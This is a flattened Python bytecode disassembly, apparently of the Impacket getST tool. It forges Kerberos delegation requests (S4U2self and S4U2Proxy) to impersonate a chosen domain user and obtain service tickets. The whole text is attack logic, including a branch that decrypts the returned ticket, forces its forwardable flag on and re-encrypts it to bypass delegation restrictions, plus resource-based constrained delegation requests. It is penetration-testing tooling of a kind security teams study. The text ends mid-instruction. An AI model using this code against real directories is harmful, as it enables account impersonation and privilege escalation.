CALL_FUNCTION LOAD_FAST tgsReq LOAD_CONST 'msg-type' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR PreAuthenticationDataTypes LOAD_ATTR PA_TGS_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'padata-type' STORE_SUBSCR LOAD_FAST encodedApReq LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'padata-value' STORE_SUBSCR LOAD_GLOBAL Principal LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR impersonate LOAD_GLOBAL constants LOAD_ATTR PrincipalNameType LOAD_ATTR NT_PRINCIPAL LOAD_ATTR value LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST clientName LOAD_GLOBAL struct LOAD_METHOD pack LOAD_CONST '<I' LOAD_GLOBAL constants LOAD_ATTR PrincipalNameType LOAD_ATTR NT_PRINCIPAL LOAD_ATTR value CALL_METHOD STORE_FAST S4UByteArray LOAD_FAST S4UByteArray LOAD_GLOBAL b LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR impersonate CALL_FUNCTION LOAD_GLOBAL b LOAD_FAST self LOAD_ATTR _GETST__domain CALL_FUNCTION BINARY_ADD LOAD_CONST b'Kerberos' BINARY_ADD INPLACE_ADD STORE_FAST S4UByteArray LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'S4UByteArray' CALL_METHOD POP_TOP LOAD_GLOBAL hexdump LOAD_FAST S4UByteArray CALL_FUNCTION POP_TOP LOAD_GLOBAL _HMACMD5 LOAD_METHOD checksum LOAD_FAST sessionKey LOAD_CONST 17 LOAD_FAST S4UByteArray CALL_METHOD STORE_FAST checkSum LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'CheckSum' CALL_METHOD POP_TOP LOAD_GLOBAL hexdump LOAD_FAST checkSum CALL_FUNCTION POP_TOP LOAD_GLOBAL PA_FOR_USER_ENC CALL_FUNCTION STORE_FAST paForUserEnc LOAD_GLOBAL seq_set LOAD_FAST paForUserEnc LOAD_CONST 'userName' LOAD_FAST clientName LOAD_ATTR components_to_asn1 CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_FAST paForUserEnc LOAD_CONST 'userRealm' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST paForUserEnc LOAD_CONST 'cksum' STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR ChecksumTypes LOAD_ATTR hmac_md5 LOAD_ATTR value CALL_FUNCTION LOAD_FAST paForUserEnc LOAD_CONST 'cksum' BINARY_SUBSCR LOAD_CONST 'cksumtype' STORE_SUBSCR LOAD_FAST checkSum LOAD_FAST paForUserEnc LOAD_CONST 'cksum' BINARY_SUBSCR LOAD_CONST 'checksum' STORE_SUBSCR LOAD_CONST 'Kerberos' LOAD_FAST paForUserEnc LOAD_CONST 'auth-package' STORE_SUBSCR LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'PA_FOR_USER_ENC' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_FAST paForUserEnc LOAD_METHOD prettyPrint CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST paForUserEnc CALL_METHOD STORE_FAST encodedPaForUserEnc LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR PreAuthenticationDataTypes LOAD_ATTR PA_FOR_USER LOAD_ATTR value CALL_FUNCTION LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'padata-type' STORE_SUBSCR LOAD_FAST encodedPaForUserEnc LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'padata-value' STORE_SUBSCR LOAD_GLOBAL seq_set LOAD_FAST tgsReq LOAD_CONST 'req-body' CALL_FUNCTION STORE_FAST reqBody LOAD_GLOBAL list CALL_FUNCTION STORE_FAST opts LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR forwardable LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR renewable LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR canonicalize LOAD_ATTR value CALL_METHOD POP_TOP LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_FAST opts CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'kdc-options' STORE_SUBSCR LOAD_GLOBAL Principal LOAD_FAST self LOAD_ATTR _GETST__user LOAD_GLOBAL constants LOAD_ATTR PrincipalNameType LOAD_ATTR NT_UNKNOWN LOAD_ATTR value LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST serverName LOAD_GLOBAL seq_set LOAD_FAST reqBody LOAD_CONST 'sname' LOAD_FAST serverName LOAD_ATTR components_to_asn1 CALL_FUNCTION POP_TOP LOAD_GLOBAL str LOAD_FAST decodedTGT LOAD_CONST 'crealm' BINARY_SUBSCR CALL_FUNCTION LOAD_FAST reqBody LOAD_CONST 'realm' STORE_SUBSCR LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD utcnow CALL_METHOD LOAD_GLOBAL datetime LOAD_ATTR timedelta LOAD_CONST 1 LOAD_CONST ('days',) CALL_FUNCTION BINARY_ADD STORE_FAST now LOAD_GLOBAL KerberosTime LOAD_METHOD to_asn1 LOAD_FAST now CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'till' STORE_SUBSCR LOAD_GLOBAL random LOAD_METHOD getrandbits LOAD_CONST 31 CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'nonce' STORE_SUBSCR LOAD_GLOBAL seq_set_iter LOAD_FAST reqBody LOAD_CONST 'etype' LOAD_GLOBAL int LOAD_FAST cipher LOAD_ATTR enctype CALL_FUNCTION LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR EncryptionTypes LOAD_ATTR rc4_hmac LOAD_ATTR value CALL_FUNCTION BUILD_TUPLE CALL_FUNCTION POP_TOP LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'Final TGS' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_FAST tgsReq LOAD_METHOD prettyPrint CALL_METHOD CALL_FUNCTION POP_TOP LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST '\tRequesting S4U2self' CALL_METHOD POP_TOP LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST tgsReq CALL_METHOD STORE_FAST message LOAD_GLOBAL sendReceive LOAD_FAST message LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_FAST kdcHost CALL_FUNCTION STORE_FAST r LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST r LOAD_GLOBAL TGS_REP CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST tgs LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'TGS_REP' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_FAST tgs LOAD_METHOD prettyPrint CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _GETST__force_forwardable EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST nthash LOAD_GLOBAL str CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 1132 LOAD_GLOBAL unhexlify LOAD_FAST nthash CALL_FUNCTION STORE_FAST nthash POP_BLOCK JUMP_FORWARD to 1154 DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 1154 END_FINALLY LOAD_GLOBAL isinstance LOAD_FAST aesKey LOAD_GLOBAL str CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 1180 LOAD_GLOBAL unhexlify LOAD_FAST aesKey CALL_FUNCTION STORE_FAST aesKey POP_BLOCK JUMP_FORWARD to 1202 DUP_TOP LOAD_GLOBAL TypeError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 1202 END_FINALLY LOAD_FAST self LOAD_ATTR _GETST__password LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _GETST__user LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST nthash EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL compute_nthash LOAD_FAST self LOAD_ATTR _GETST__password CALL_FUNCTION STORE_FAST nthash LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'NTHash' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_GLOBAL hexlify LOAD_FAST nthash CALL_FUNCTION LOAD_METHOD decode CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST aesKey EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_METHOD upper CALL_METHOD LOAD_FAST self LOAD_ATTR _GETST__user BINARY_ADD STORE_FAST salt LOAD_GLOBAL _AES256CTS LOAD_ATTR string_to_key LOAD_FAST self LOAD_ATTR _GETST__password LOAD_FAST salt LOAD_CONST None LOAD_CONST ('params',) CALL_FUNCTION LOAD_ATTR contents STORE_FAST aesKey LOAD_GLOBAL logging LOAD_METHOD getLogger CALL_METHOD LOAD_ATTR level LOAD_GLOBAL logging LOAD_ATTR DEBUG COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST 'AESKey' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_GLOBAL hexlify LOAD_FAST aesKey CALL_FUNCTION LOAD_METHOD decode CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'cipher' BINARY_SUBSCR STORE_FAST cipherText LOAD_GLOBAL _enctype_table LOAD_GLOBAL int LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'etype' BINARY_SUBSCR CALL_FUNCTION BINARY_SUBSCR STORE_FAST newCipher LOAD_FAST newCipher LOAD_ATTR enctype LOAD_GLOBAL Enctype LOAD_ATTR RC4 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL Key LOAD_FAST newCipher LOAD_ATTR enctype LOAD_FAST nthash CALL_FUNCTION STORE_FAST key JUMP_FORWARD to 1464 LOAD_GLOBAL Key LOAD_FAST newCipher LOAD_ATTR enctype LOAD_FAST aesKey CALL_FUNCTION STORE_FAST key LOAD_FAST newCipher LOAD_METHOD decrypt LOAD_FAST key LOAD_CONST 2 LOAD_FAST cipherText CALL_METHOD STORE_FAST plainText LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST plainText LOAD_GLOBAL EncTicketPart CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST encTicketPart LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket from S4U2self flags: ' LOAD_GLOBAL str LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR CALL_FUNCTION BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket from S4U2self is' LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '' JUMP_FORWARD to 1554 LOAD_CONST ' not' BINARY_ADD LOAD_CONST ' forwardable' BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST '\tForcing the service ticket to be forwardable' CALL_METHOD POP_TOP LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_METHOD asBinary CALL_METHOD STORE_FAST flagBits LOAD_FAST flagBits LOAD_CONST None LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value BUILD_SLICE BINARY_SUBSCR LOAD_CONST '1' BINARY_ADD LOAD_FAST flagBits LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value LOAD_CONST 1 BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BINARY_ADD STORE_FAST flagBits LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_ATTR clone LOAD_FAST flagBits LOAD_CONST ('value',) CALL_FUNCTION LOAD_FAST encTicketPart LOAD_CONST 'flags' STORE_SUBSCR LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket flags after modification: ' LOAD_GLOBAL str LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR CALL_FUNCTION BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL logging LOAD_METHOD debug LOAD_CONST '\tService ticket now is' LOAD_FAST encTicketPart LOAD_CONST 'flags' BINARY_SUBSCR LOAD_GLOBAL TicketFlags LOAD_ATTR forwardable LOAD_ATTR value BINARY_SUBSCR LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '' JUMP_FORWARD to 1702 LOAD_CONST ' not' BINARY_ADD LOAD_CONST ' forwardable' BINARY_ADD CALL_METHOD POP_TOP LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST encTicketPart CALL_METHOD STORE_FAST encodedEncTicketPart LOAD_FAST newCipher LOAD_METHOD encrypt LOAD_FAST key LOAD_CONST 2 LOAD_FAST encodedEncTicketPart LOAD_CONST None CALL_METHOD STORE_FAST cipherText LOAD_FAST cipherText LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'cipher' STORE_SUBSCR LOAD_GLOBAL Ticket CALL_FUNCTION STORE_FAST ticketTGT LOAD_FAST ticketTGT LOAD_METHOD from_asn1 LOAD_FAST decodedTGT LOAD_CONST 'ticket' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_GLOBAL Ticket CALL_FUNCTION STORE_FAST ticket LOAD_FAST ticket LOAD_METHOD from_asn1 LOAD_FAST tgs LOAD_CONST 'ticket' BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_GLOBAL AP_REQ CALL_FUNCTION STORE_FAST apReq LOAD_CONST 5 LOAD_FAST apReq LOAD_CONST 'pvno' STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR ApplicationTagNumbers LOAD_ATTR AP_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST apReq LOAD_CONST 'msg-type' STORE_SUBSCR LOAD_GLOBAL list CALL_FUNCTION STORE_FAST opts LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_FAST opts CALL_METHOD LOAD_FAST apReq LOAD_CONST 'ap-options' STORE_SUBSCR LOAD_GLOBAL seq_set LOAD_FAST apReq LOAD_CONST 'ticket' LOAD_FAST ticketTGT LOAD_ATTR to_asn1 CALL_FUNCTION POP_TOP LOAD_GLOBAL Authenticator CALL_FUNCTION STORE_FAST authenticator LOAD_CONST 5 LOAD_FAST authenticator LOAD_CONST 'authenticator-vno' STORE_SUBSCR LOAD_GLOBAL str LOAD_FAST decodedTGT LOAD_CONST 'crealm' BINARY_SUBSCR CALL_FUNCTION LOAD_FAST authenticator LOAD_CONST 'crealm' STORE_SUBSCR LOAD_GLOBAL Principal CALL_FUNCTION STORE_FAST clientName LOAD_FAST clientName LOAD_METHOD from_asn1 LOAD_FAST decodedTGT LOAD_CONST 'crealm' LOAD_CONST 'cname' CALL_METHOD POP_TOP LOAD_GLOBAL seq_set LOAD_FAST authenticator LOAD_CONST 'cname' LOAD_FAST clientName LOAD_ATTR components_to_asn1 CALL_FUNCTION POP_TOP LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD utcnow CALL_METHOD STORE_FAST now LOAD_FAST now LOAD_ATTR microsecond LOAD_FAST authenticator LOAD_CONST 'cusec' STORE_SUBSCR LOAD_GLOBAL KerberosTime LOAD_METHOD to_asn1 LOAD_FAST now CALL_METHOD LOAD_FAST authenticator LOAD_CONST 'ctime' STORE_SUBSCR LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST authenticator CALL_METHOD STORE_FAST encodedAuthenticator LOAD_FAST cipher LOAD_METHOD encrypt LOAD_FAST sessionKey LOAD_CONST 7 LOAD_FAST encodedAuthenticator LOAD_CONST None CALL_METHOD STORE_FAST encryptedEncodedAuthenticator LOAD_GLOBAL noValue LOAD_FAST apReq LOAD_CONST 'authenticator' STORE_SUBSCR LOAD_FAST cipher LOAD_ATTR enctype LOAD_FAST apReq LOAD_CONST 'authenticator' BINARY_SUBSCR LOAD_CONST 'etype' STORE_SUBSCR LOAD_FAST encryptedEncodedAuthenticator LOAD_FAST apReq LOAD_CONST 'authenticator' BINARY_SUBSCR LOAD_CONST 'cipher' STORE_SUBSCR LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST apReq CALL_METHOD STORE_FAST encodedApReq LOAD_GLOBAL TGS_REQ CALL_FUNCTION STORE_FAST tgsReq LOAD_CONST 5 LOAD_FAST tgsReq LOAD_CONST 'pvno' STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR ApplicationTagNumbers LOAD_ATTR TGS_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST tgsReq LOAD_CONST 'msg-type' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR PreAuthenticationDataTypes LOAD_ATTR PA_TGS_REQ LOAD_ATTR value CALL_FUNCTION LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'padata-type' STORE_SUBSCR LOAD_FAST encodedApReq LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 'padata-value' STORE_SUBSCR LOAD_GLOBAL PA_PAC_OPTIONS CALL_FUNCTION STORE_FAST paPacOptions LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_GLOBAL constants LOAD_ATTR PAPacOptions LOAD_ATTR resource_based_constrained_delegation LOAD_ATTR value BUILD_TUPLE CALL_METHOD LOAD_FAST paPacOptions LOAD_CONST 'flags' STORE_SUBSCR LOAD_GLOBAL noValue LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 STORE_SUBSCR LOAD_GLOBAL constants LOAD_ATTR PreAuthenticationDataTypes LOAD_ATTR PA_PAC_OPTIONS LOAD_ATTR value LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'padata-type' STORE_SUBSCR LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST paPacOptions CALL_METHOD LOAD_FAST tgsReq LOAD_CONST 'padata' BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'padata-value' STORE_SUBSCR LOAD_GLOBAL seq_set LOAD_FAST tgsReq LOAD_CONST 'req-body' CALL_FUNCTION STORE_FAST reqBody LOAD_GLOBAL list CALL_FUNCTION STORE_FAST opts LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR cname_in_addl_tkt LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR canonicalize LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR forwardable LOAD_ATTR value CALL_METHOD POP_TOP LOAD_FAST opts LOAD_METHOD append LOAD_GLOBAL constants LOAD_ATTR KDCOptions LOAD_ATTR renewable LOAD_ATTR value CALL_METHOD POP_TOP LOAD_GLOBAL constants LOAD_METHOD encodeFlags LOAD_FAST opts CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'kdc-options' STORE_SUBSCR LOAD_GLOBAL Principal LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR spn LOAD_GLOBAL constants LOAD_ATTR PrincipalNameType LOAD_ATTR NT_SRV_INST LOAD_ATTR value LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST service2 LOAD_GLOBAL seq_set LOAD_FAST reqBody LOAD_CONST 'sname' LOAD_FAST service2 LOAD_ATTR components_to_asn1 CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_FAST reqBody LOAD_CONST 'realm' STORE_SUBSCR LOAD_FAST ticket LOAD_METHOD to_asn1 LOAD_GLOBAL TicketAsn1 CALL_FUNCTION CALL_METHOD STORE_FAST myTicket LOAD_GLOBAL seq_set_iter LOAD_FAST reqBody LOAD_CONST 'additional-tickets' LOAD_FAST myTicket BUILD_TUPLE CALL_FUNCTION POP_TOP LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD utcnow CALL_METHOD LOAD_GLOBAL datetime LOAD_ATTR timedelta LOAD_CONST 1 LOAD_CONST ('days',) CALL_FUNCTION BINARY_ADD STORE_FAST now LOAD_GLOBAL KerberosTime LOAD_METHOD to_asn1 LOAD_FAST now CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'till' STORE_SUBSCR LOAD_GLOBAL random LOAD_METHOD getrandbits LOAD_CONST 31 CALL_METHOD LOAD_FAST reqBody LOAD_CONST 'nonce' STORE_SUBSCR LOAD_GLOBAL seq_set_iter LOAD_FAST reqBody LOAD_CONST 'etype' LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR EncryptionTypes LOAD_ATTR rc4_hmac LOAD_ATTR value CALL_FUNCTION LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR EncryptionTypes LOAD_ATTR des3_cbc_sha1_kd LOAD_ATTR value CALL_FUNCTION LOAD_GLOBAL int LOAD_GLOBAL constants LOAD_ATTR EncryptionTypes LOAD_ATTR des_cbc_md5 LOAD_ATTR value CALL_FUNCTION LOAD_GLOBAL int LOAD_FAST cipher LOAD_ATTR enctype CALL_FUNCTION BUILD_TUPLE CALL_FUNCTION POP_TOP LOAD_GLOBAL encoder LOAD_METHOD encode LOAD_FAST tgsReq CALL_METHOD STORE_FAST message LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST '\tRequesting S4U2Proxy' CALL_METHOD POP_TOP LOAD_GLOBAL sendReceive LOAD_FAST message LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_FAST kdcHost CALL_FUNCTION STORE_FAST r LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST r LOAD_GLOBAL TGS_REP CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST tgs LOAD_FAST tgs LOAD_CONST 'enc-part' BINARY_SUBSCR LOAD_CONST 'cipher' BINARY_SUBSCR STORE_FAST cipherText LOAD_FAST cipher LOAD_METHOD decrypt LOAD_FAST sessionKey LOAD_CONST 8 LOAD_FAST cipherText CALL_METHOD STORE_FAST plainText LOAD_GLOBAL decoder LOAD_ATTR decode LOAD_FAST plainText LOAD_GLOBAL EncTGSRepPart CALL_FUNCTION LOAD_CONST ('asn1Spec',) CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_FAST encTGSRepPart LOAD_GLOBAL Key LOAD_FAST encTGSRepPart LOAD_CONST 'key' BINARY_SUBSCR LOAD_CONST 'keytype' BINARY_SUBSCR LOAD_FAST encTGSRepPart LOAD_CONST 'key' BINARY_SUBSCR LOAD_CONST 'keyvalue' BINARY_SUBSCR CALL_FUNCTION STORE_FAST newSessionKey LOAD_GLOBAL _enctype_table LOAD_FAST encTGSRepPart LOAD_CONST 'key' BINARY_SUBSCR LOAD_CONST 'keytype' BINARY_SUBSCR BINARY_SUBSCR STORE_FAST cipher LOAD_FAST r LOAD_FAST cipher LOAD_FAST sessionKey LOAD_FAST newSessionKey BUILD_TUPLE RETURN_VALUE LOAD_CONST None STORE_FAST tgt LOAD_GLOBAL CCache LOAD_METHOD parseFile LOAD_FAST self LOAD_ATTR _GETST__domain CALL_METHOD UNPACK_SEQUENCE STORE_FAST domain STORE_FAST _ STORE_FAST TGT STORE_FAST _ LOAD_FAST TGT LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST TGT LOAD_CONST 'KDC_REP' BINARY_SUBSCR LOAD_FAST TGT LOAD_CONST 'cipher' BINARY_SUBSCR LOAD_FAST TGT LOAD_CONST 'sessionKey' BINARY_SUBSCR ROT_THREE ROT_TWO STORE_FAST tgt STORE_FAST cipher STORE_FAST sessionKey LOAD_FAST sessionKey STORE_FAST oldSessionKey LOAD_FAST tgt LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL Principal LOAD_FAST self LOAD_ATTR _GETST__user LOAD_GLOBAL constants LOAD_ATTR PrincipalNameType LOAD_ATTR NT_PRINCIPAL LOAD_ATTR value LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST userName LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST 'Getting TGT for user' CALL_METHOD POP_TOP LOAD_GLOBAL getKerberosTGT LOAD_FAST userName LOAD_FAST self LOAD_ATTR _GETST__password LOAD_FAST self LOAD_ATTR _GETST__domain LOAD_GLOBAL unhexlify LOAD_FAST self LOAD_ATTR _GETST__lmhash CALL_FUNCTION LOAD_GLOBAL unhexlify LOAD_FAST self LOAD_ATTR _GETST__nthash CALL_FUNCTION LOAD_FAST self LOAD_ATTR _GETST__aesKey LOAD_FAST self LOAD_ATTR _GETST__kdcHost CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST tgt STORE_FAST cipher STORE_FAST oldSessionKey STORE_FAST sessionKey LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR impersonate LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL logging LOAD_METHOD info LOAD_CONST 'Getting ST for user' CALL_METHOD POP_TOP LOAD_GLOBAL Principal LOAD_FAST self LOAD_ATTR _GETST__options LOAD_ATTR spn LOAD_GLOBAL constants LOAD_ATTR PrincipalNameType LOAD_ATTR NT_SRV_INST LOAD_ATTR value LOAD_CONST ('type',) CALL_FUNCTION STORE_FAST serverName LOAD_GLOBAL getKerberosTGS LOAD_FAST serverName LOAD_FAST domain LOAD_FAST self LOAD_ATTR _GETST__kdcHost LOAD_FAST tgt LOAD_FAST cipher LOAD_FAST sessionKey CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST tgs STORE_FAST cipher STORE_FAST oldSessionKey STORE_FAST 